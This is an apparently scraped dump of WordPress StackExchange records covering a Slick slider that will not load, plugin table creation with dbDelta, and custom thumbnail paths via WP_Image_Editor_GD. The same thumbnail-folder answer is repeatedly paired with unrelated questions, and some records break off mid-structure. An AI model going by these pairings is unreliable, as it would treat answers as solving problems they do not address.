wp_enqueue_script('bootstrapjs', get_template_directory_uri() . '/js/bootstrap.min.js', array(), '3.3.7', true);
wp_enqueue_script('slickjs', 'http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick.min.js');
}
add_action(wp_enqueue_scripts, 'victoria_theme_script_enqueue');
</code></pre>
<p>JS</p>
<pre><code>jQuery(document).ready(function($) {
jQuery(".victoria-slider").slick({
dots: true,
infinite: true,
speed: 500,
fade: true,
cssEase: 'linear',
slidesToShow: 3,
slidesToScroll: 3
});
});
</code></pre>
<p>I have tried using the files and links to get it working still no sign at all. Nothing is happening at all. I just don't know what else to do. It's for every slider I tried to add to my theme. </p>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255335",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/101377/"
] | I am trying to add a photo slider from Slick and I can't seem to get it to work.
HTML
```
<div class="victoria-slider">
<div>Content1</div>
<div>Content2</div>
<div>Content3</div>
</div>
```
functions.php
```
function victoria_theme_script_enqueue() {
wp_enqueue_style('customstyle', get_template_directory_uri() . '/css/victoria_theme.css', array(), '4.7.2', 'all');
wp_enqueue_style('bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css', array(), '3.3.7', 'all');
wp_enqueue_style('slick', 'http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick.css');
wp_enqueue_style('slick-theme','http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick-theme.css');
wp_enqueue_script('jquery', get_template_directory_uri() .'/js/jquery.min.js', array(), '3.1.0', true);
wp_enqueue_script('customjs', get_template_directory_uri() . '/js/victoria_theme.js', array(), '4.7.2', true);
wp_enqueue_script('bootstrapjs', get_template_directory_uri() . '/js/bootstrap.min.js', array(), '3.3.7', true);
wp_enqueue_script('slickjs', 'http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick.min.js');
}
add_action(wp_enqueue_scripts, 'victoria_theme_script_enqueue');
```
JS
```
jQuery(document).ready(function($) {
jQuery(".victoria-slider").slick({
dots: true,
infinite: true,
speed: 500,
fade: true,
cssEase: 'linear',
slidesToShow: 3,
slidesToScroll: 3
});
});
```
I have tried using the files and links to get it working still no sign at all. Nothing is happening at all. I just don't know what else to do. It's for every slider I tried to add to my theme. | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,352 | <p>I'm trying to create a new database table when my plugin is activated using dbDelta() however, no new table seems to be creating. Since I'm new to WordPress development, please let me know where I'm going wrong.</p>
<pre><code><?php
/*
Plugin Name: Xenon-Result
Plugin URI: https://developer.wordpress.org/plugins/the-basics/
Description: Basic WordPress Plugin Header Comment
Version: 1.0
Author: Himanshu Gupta
Author URI: https://developer.wordpress.org/
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks()
{
include('new/result-add-marks.php');
}
?>
</code></pre>
<p>This is the installer.php file:</p>
<pre><code><?php
global $wpdb;
$table_name = $wpdb->prefix . "xenonresult";
$charset_collate = $wpdb->get_charset_collate();
if(!isset($table_name)){
$sql = "CREATE TABLE $table_name (
id mediumint(9) NOT NULL AUTO_INCREMENT
student-id mediumint(9) NOT NULL,
student-name text NOT NULL,
marks-obtained int(9) NOT NULL,
result text NOT NULL,
PRIMARY KEY (id)
) $charset_collate;";
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
dbDelta( $sql );
}
?>
</code></pre>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255352",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112658/"
] | I'm trying to create a new database table when my plugin is activated using dbDelta() however, no new table seems to be creating. Since I'm new to WordPress development, please let me know where I'm going wrong.
```
<?php
/*
Plugin Name: Xenon-Result
Plugin URI: https://developer.wordpress.org/plugins/the-basics/
Description: Basic WordPress Plugin Header Comment
Version: 1.0
Author: Himanshu Gupta
Author URI: https://developer.wordpress.org/
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks()
{
include('new/result-add-marks.php');
}
?>
```
This is the installer.php file:
```
<?php
global $wpdb;
$table_name = $wpdb->prefix . "xenonresult";
$charset_collate = $wpdb->get_charset_collate();
if(!isset($table_name)){
$sql = "CREATE TABLE $table_name (
id mediumint(9) NOT NULL AUTO_INCREMENT
student-id mediumint(9) NOT NULL,
student-name text NOT NULL,
marks-obtained int(9) NOT NULL,
result text NOT NULL,
PRIMARY KEY (id)
) $charset_collate;";
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
dbDelta( $sql );
}
?>
``` | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,372 | <p>I'm trying to make a conditional if the current author has uploaded a featured image in a custom post, but it ain't workin' ...</p>
<pre><code><?php if (
1 == count_user_posts( get_current_user_id(), "CUSTPOSTTYPE" )
&& is_user_logged_in()
&& has_post_thumbnail()
) { ?>
</code></pre>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255372",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/37346/"
] | I'm trying to make a conditional if the current author has uploaded a featured image in a custom post, but it ain't workin' ...
```
<?php if (
1 == count_user_posts( get_current_user_id(), "CUSTPOSTTYPE" )
&& is_user_logged_in()
&& has_post_thumbnail()
) { ?>
``` | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,373 | <p>I would like to show certain Wordpress Post to one in 10 people. I am guessing it would be a JS solution which simply hides to post using a random number generator.</p>
<p>Has anyone ever face a similar scenario and care to show how they solved it?</p>
| [
{
"answer_id": 255388,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 1,
"selected": false,
"text": "<p>Assuming that you already have specific post IDs that you want to show randomly (1 per 10), you can use:</p... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255373",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/71177/"
] | I would like to show certain Wordpress Post to one in 10 people. I am guessing it would be a JS solution which simply hides to post using a random number generator.
Has anyone ever face a similar scenario and care to show how they solved it? | ```
function lsmwp_post_limter($ids, $in, $count) {
$i = rand(1,$count);
if ($i <= $in) {
return($ids);
}
else
return false;
}
function lsmWpfilter($posts){
$result = [];
foreach($posts as $post){
$res = lsmwp_post_limter($post['postId'], $post['in'], $post['count']);
if ($res){
$result[] = $res;
}
}
print_r($result);
return $result;
}
$exluded_posts = array(
array('postId' => 28741 , 'in' => 2, 'count' => 3),
array('postId' => 29811 , 'in' => 2, 'count' => 3),
array('postId' => 31951 , 'in' => 1, 'count' => 3)
);
$custom_args = array(
'post__not_in' => lsmWpfilter($exluded_posts),
);
```
This method allows me to use different in/count for each excluded posts, not limiting it to 1/5 and also making use of funcitons |
255,375 | <p>Is it possible to add a number to the body class according to how many custom posts a current user has published, e.g. CUSTOMPOST-4</p>
| [
{
"answer_id": 255378,
"author": "Aniruddha Gawade",
"author_id": 101818,
"author_profile": "https://wordpress.stackexchange.com/users/101818",
"pm_score": 2,
"selected": false,
"text": "<p>You can use <code>count_user_posts</code></p>\n\n<p>See:</p>\n\n<p><a href=\"https://developer.wor... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255375",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/37346/"
] | Is it possible to add a number to the body class according to how many custom posts a current user has published, e.g. CUSTOMPOST-4 | add to functions.php
```
function wpc_body_class_section($classes) {
if (is_user_logged_in()) {
$classes[] = 'CUSTOMPOST-'.count_user_posts(get_current_user_id());
}
return $classes;
}
add_filter('body_class','wpc_body_class_section');
``` |
255,405 | <p>I am trying to inject a inline style css to my body element via the functions.php file.
It needs to be inline, because I am using a ACF to let the user change the image.</p>
<p>This should be the result:</p>
<pre><code><body style="background-image: url('<?php the_field('background'); ?>');">
</code></pre>
<p>I read about the <a href="https://codex.wordpress.org/Function_Reference/wp_add_inline_style" rel="noreferrer">wp add inline style</a>, but i couldn't figure it out.</p>
<p>Update:
Here is the function I tried:</p>
<pre><code>function wpdocs_styles_method() {
wp_enqueue_style('custom-style', get_stylesheet_directory_uri() . '/body.css'
);
$img = get_theme_mod( "<?php the_field('background') ?>" );
$custom_css = "body {background-image: {$img}";
wp_add_inline_style( 'custom-style', $custom_css );
}
add_action( 'wp_enqueue_scripts', 'wpdocs_styles_method' );
</code></pre>
<p>I did load a body.css to tried to add the inline css. But it didn't work - maybe this isn't the right approach at all?</p>
| [
{
"answer_id": 255415,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 2,
"selected": false,
"text": "<p>Inline styles are styles that are written directly in the tag on the document & this is what you are loo... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255405",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94376/"
] | I am trying to inject a inline style css to my body element via the functions.php file.
It needs to be inline, because I am using a ACF to let the user change the image.
This should be the result:
```
<body style="background-image: url('<?php the_field('background'); ?>');">
```
I read about the [wp add inline style](https://codex.wordpress.org/Function_Reference/wp_add_inline_style), but i couldn't figure it out.
Update:
Here is the function I tried:
```
function wpdocs_styles_method() {
wp_enqueue_style('custom-style', get_stylesheet_directory_uri() . '/body.css'
);
$img = get_theme_mod( "<?php the_field('background') ?>" );
$custom_css = "body {background-image: {$img}";
wp_add_inline_style( 'custom-style', $custom_css );
}
add_action( 'wp_enqueue_scripts', 'wpdocs_styles_method' );
```
I did load a body.css to tried to add the inline css. But it didn't work - maybe this isn't the right approach at all? | The easiest way I've seen is to `echo` it where you need it:
```php
function inline_css() {
echo "<style>html{background-color:#001337}</style>";
}
add_action( 'wp_head', 'inline_css', 0 );
```
Since 2019 you can also add styles inline inside the `body`, shown here without using `echo`:
```
function example_body_open () { ?>
<style>
html {
background-color: #B4D455;
}
</style>
<?php }
add_action( 'wp_body_open', 'example_body_open' );
```
The benefit here is you get better syntax highlighting and do not need to escape double-quotes. Note this particular hook will only work with themes implementing [`wp_body_open` hook](https://make.wordpress.org/themes/2019/03/29/addition-of-new-wp_body_open-hook/). |
255,406 | <p>I registered a new post type called "events". The posts of this type do show up in the loop but i can't access the single-events.php when i click on a "event" post. Also I can't access the categories of this post type. </p>
<p>The only advice you read on the internet - to flush the rewrite rules - didn't work me. </p>
<p>Any other suggestions? </p>
<p>Here is my registration code for this post type:</p>
<pre><code>add_action ('init', 'register_events_posttype');
function register_events_posttype(){
$labels = array();
$args = array(
'label' => 'Events',
'labels' => $labels,
'show_in_menu' => true,
'show_ui' => true,
'show_in_nav_menus' => true,
'show_in_rest' => true,
'menu_position' => 2,
'menu_icon' => 'dashicons-calendar-alt',
'supports' => array('title','editor','thumbnail', 'excerpt', 'custom-fields', 'comments','revisions', 'archives',),
'taxonomies' => array('category', 'post_tag'),
'rewrite' => array('slug' => 'events','with_front' => false)
);
register_post_type('event', $args);
}
</code></pre>
| [
{
"answer_id": 255409,
"author": "Pat J",
"author_id": 16121,
"author_profile": "https://wordpress.stackexchange.com/users/16121",
"pm_score": 1,
"selected": false,
"text": "<p>You've registered the post type <code>event</code>, not <code>events</code>. So you should be able to use <code... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255406",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/80177/"
] | I registered a new post type called "events". The posts of this type do show up in the loop but i can't access the single-events.php when i click on a "event" post. Also I can't access the categories of this post type.
The only advice you read on the internet - to flush the rewrite rules - didn't work me.
Any other suggestions?
Here is my registration code for this post type:
```
add_action ('init', 'register_events_posttype');
function register_events_posttype(){
$labels = array();
$args = array(
'label' => 'Events',
'labels' => $labels,
'show_in_menu' => true,
'show_ui' => true,
'show_in_nav_menus' => true,
'show_in_rest' => true,
'menu_position' => 2,
'menu_icon' => 'dashicons-calendar-alt',
'supports' => array('title','editor','thumbnail', 'excerpt', 'custom-fields', 'comments','revisions', 'archives',),
'taxonomies' => array('category', 'post_tag'),
'rewrite' => array('slug' => 'events','with_front' => false)
);
register_post_type('event', $args);
}
``` | Hmm. After spending hours on research and trying out some suggested solutions I found out I just needed to add this arguments to the arguments array and only then to flush the permalinks (= switching to the default permalink structure and back to custom post name structure in the dashboard settings):
```
'public' => true,
'has_archive' => true,
```
It had nothing to do with the singular parameter ('event') in register\_post\_type. I changed it back like it was (singular 'event') because i like to have it singular for the database requests. The post type name for posts inside the database is singular as well ('post').
But for the WP REST API route I set the rest\_base to plural:
```
'rest_base' => 'events',
``` |
255,438 | <p>I have some code that is <strong>blocking the price from being shown on all products, if the user is not logged in</strong>.. this is what I want.</p>
<p>My issue is that I have <strong>1 product that is free, and I need the price to show if the user is not logged in</strong>. only on this single product...</p>
<p>Can someone help me target that single product by id and show price the user is not logged in...</p>
<p>here is my original php snippet in funcions.php which blocks the price from being shown when a user is not logged in</p>
<pre><code>// Hide prices on public woocommerce (not logged in)
add_action('after_setup_theme','activate_filter') ;
function activate_filter(){
add_filter('woocommerce_get_price_html', 'show_price_logged');
}
function show_price_logged($price){
if(is_user_logged_in()){
return $price;
}
else
{
remove_action( 'woocommerce_after_shop_loop_item',
'woocommerce_template_loop_add_to_cart' );
remove_action( 'woocommerce_single_product_summary',
'woocommerce_template_single_price', 10 );
remove_action( 'woocommerce_single_product_summary',
'woocommerce_template_single_add_to_cart', 30 );
remove_action( 'woocommerce_after_shop_loop_item_title',
'woocommerce_template_loop_price', 10 );
return '<a href="' . get_permalink(woocommerce_get_page_id('myaccount')) .
'">Call for pricing</a>';
}
}
</code></pre>
| [
{
"answer_id": 255441,
"author": "fakemeta",
"author_id": 94429,
"author_profile": "https://wordpress.stackexchange.com/users/94429",
"pm_score": 1,
"selected": false,
"text": "<p>If you know the id, you can simply check current product id in your <code>woocommerce_get_price_html</code> ... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255438",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/96845/"
] | I have some code that is **blocking the price from being shown on all products, if the user is not logged in**.. this is what I want.
My issue is that I have **1 product that is free, and I need the price to show if the user is not logged in**. only on this single product...
Can someone help me target that single product by id and show price the user is not logged in...
here is my original php snippet in funcions.php which blocks the price from being shown when a user is not logged in
```
// Hide prices on public woocommerce (not logged in)
add_action('after_setup_theme','activate_filter') ;
function activate_filter(){
add_filter('woocommerce_get_price_html', 'show_price_logged');
}
function show_price_logged($price){
if(is_user_logged_in()){
return $price;
}
else
{
remove_action( 'woocommerce_after_shop_loop_item',
'woocommerce_template_loop_add_to_cart' );
remove_action( 'woocommerce_single_product_summary',
'woocommerce_template_single_price', 10 );
remove_action( 'woocommerce_single_product_summary',
'woocommerce_template_single_add_to_cart', 30 );
remove_action( 'woocommerce_after_shop_loop_item_title',
'woocommerce_template_loop_price', 10 );
return '<a href="' . get_permalink(woocommerce_get_page_id('myaccount')) .
'">Call for pricing</a>';
}
}
``` | If you know the id, you can simply check current product id in your `woocommerce_get_price_html` action:
```
add_action('after_setup_theme','activate_filter') ;
function activate_filter() {
add_filter('woocommerce_get_price_html', 'show_price_logged');
}
function show_price_logged($price) {
global $product; // get current product
if(is_user_logged_in() || $product->id === 8) { // check product id
return $price;
} else {
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart' );
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_price', 10 );
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 );
remove_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_template_loop_price', 10 );
return '<a href="' . get_permalink(woocommerce_get_page_id('myaccount')) . '">Call for pricing</a>';
}
}
```
But if you need more flexibility you could check product custom field. For example, you could set `is_free` custom field to `true` or any other value of your choice on product edit page and check it's value like this:
```
...
global $product;
$is_free_product = get_post_meta($product->id, 'is_free', true);
if(is_user_logged_in() || $is_free_product) {
return $price;
} else {
...
``` |
255,450 | <p>Cron-jobs are incredibly slow in my website.</p>
<p>I created this small script, outside of the Wordpress environment, just to test the response time of WP Cron:</p>
<pre><code><?php
//Method which does a basic curl get request
function get_data($url) {
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
//getinfo gets the data for the request
$info = curl_getinfo($ch);
//output the data to get more information.
print_r($info);
curl_close($ch);
return $data;
}
get_data('http://www.example.com?wp-cron.php?doing_wp_cron=1486419273');
</code></pre>
<p>These are the results:</p>
<pre><code>Array
(
[url] => http://www.example.com/?wp-cron.php?doing_wp_cron=1486419273
[content_type] =>
[http_code] => 0
[header_size] => 0
[request_size] => 0
[filetime] => -1
[ssl_verify_result] => 0
[redirect_count] => 0
[total_time] => 42.822546 // Important
[namelookup_time] => 0
[connect_time] => 0
[pretransfer_time] => 0
[size_upload] => 0
[size_download] => 0
[speed_download] => 0
[speed_upload] => 0
[download_content_length] => -1
[upload_content_length] => -1
[starttransfer_time] => 0
[redirect_time] => 0
[certinfo] => Array
(
)
[primary_ip] =>
[primary_port] => 0
[local_ip] =>
[local_port] => 0
[redirect_url] =>
)
</code></pre>
<p>As you can see it has an incredible load time of almost 43 seconds.</p>
<p>These are my Crons as reported by Crontol plugin:</p>
<p><a href="https://i.stack.imgur.com/bsi91.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bsi91.jpg" alt="list of wordpress crons" /></a></p>
<p>The biggest problem I see here is that the "Next run" is not updating, meaning every cron runs every time... That's probably what's making it so slow, isn't it?</p>
<p>How to make the "Next run" actually changes according to the cron's "Recurrence"?</p>
| [
{
"answer_id": 255466,
"author": "Lucas Bustamante",
"author_id": 27278,
"author_profile": "https://wordpress.stackexchange.com/users/27278",
"pm_score": 0,
"selected": false,
"text": "<p>Well, I did it with manual crons.</p>\n\n<p>I use NGINX + PHP-FPM, which makes it harder to do manua... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255450",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27278/"
] | Cron-jobs are incredibly slow in my website.
I created this small script, outside of the Wordpress environment, just to test the response time of WP Cron:
```
<?php
//Method which does a basic curl get request
function get_data($url) {
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
//getinfo gets the data for the request
$info = curl_getinfo($ch);
//output the data to get more information.
print_r($info);
curl_close($ch);
return $data;
}
get_data('http://www.example.com?wp-cron.php?doing_wp_cron=1486419273');
```
These are the results:
```
Array
(
[url] => http://www.example.com/?wp-cron.php?doing_wp_cron=1486419273
[content_type] =>
[http_code] => 0
[header_size] => 0
[request_size] => 0
[filetime] => -1
[ssl_verify_result] => 0
[redirect_count] => 0
[total_time] => 42.822546 // Important
[namelookup_time] => 0
[connect_time] => 0
[pretransfer_time] => 0
[size_upload] => 0
[size_download] => 0
[speed_download] => 0
[speed_upload] => 0
[download_content_length] => -1
[upload_content_length] => -1
[starttransfer_time] => 0
[redirect_time] => 0
[certinfo] => Array
(
)
[primary_ip] =>
[primary_port] => 0
[local_ip] =>
[local_port] => 0
[redirect_url] =>
)
```
As you can see it has an incredible load time of almost 43 seconds.
These are my Crons as reported by Crontol plugin:
[](https://i.stack.imgur.com/bsi91.jpg)
The biggest problem I see here is that the "Next run" is not updating, meaning every cron runs every time... That's probably what's making it so slow, isn't it?
How to make the "Next run" actually changes according to the cron's "Recurrence"? | You can use [wp-cli](https://wp-cli.org/) to execute schedules without the detour via http request. Add in `crontab -e`.
```
*/30 * * * * wp cron event run --path=/path/to/wp-docroot
```
By this you wont run into maximum execution time problems which could be the reason why you schedule execution got stuck. |
255,462 | <p>I’ve been writing some class and functions to modify the path of thumbnails. I extended the original <code>WP_Image_Editor</code> class to achieve custom structure.</p>
<p><strong>What i want:</strong> to store the thumbnails in different folders based on their slugs, in the upload directory. such as : <code>http://example.com/uploads/medium/image.jpg</code></p>
<p><strong>What i have already done:</strong></p>
<pre><code>class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
global $current_size_slug;
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = ABSPATH."/media/";
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
$slug = $current_size_slug;
return trailingslashit($dir)."{$slug}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
$current_size_slug = $slug;
return $sizes;
}
}
</code></pre>
<p>When i upload the image, the thumbnails are created properly, however the filenames are not. The <code>$slug</code> value is not passed from <code>multi_resize()</code> to generate_filename.</p>
<p>I tried to write the <code>multi_resize()</code> function as below:</p>
<pre><code>class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
global $current_size_slug;
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = ABSPATH."/media/";
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
$slug = $current_size_slug;
return trailingslashit($dir)."{$slug}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
$current_size_slug = $slug;
return $sizes;
}
}
</code></pre>
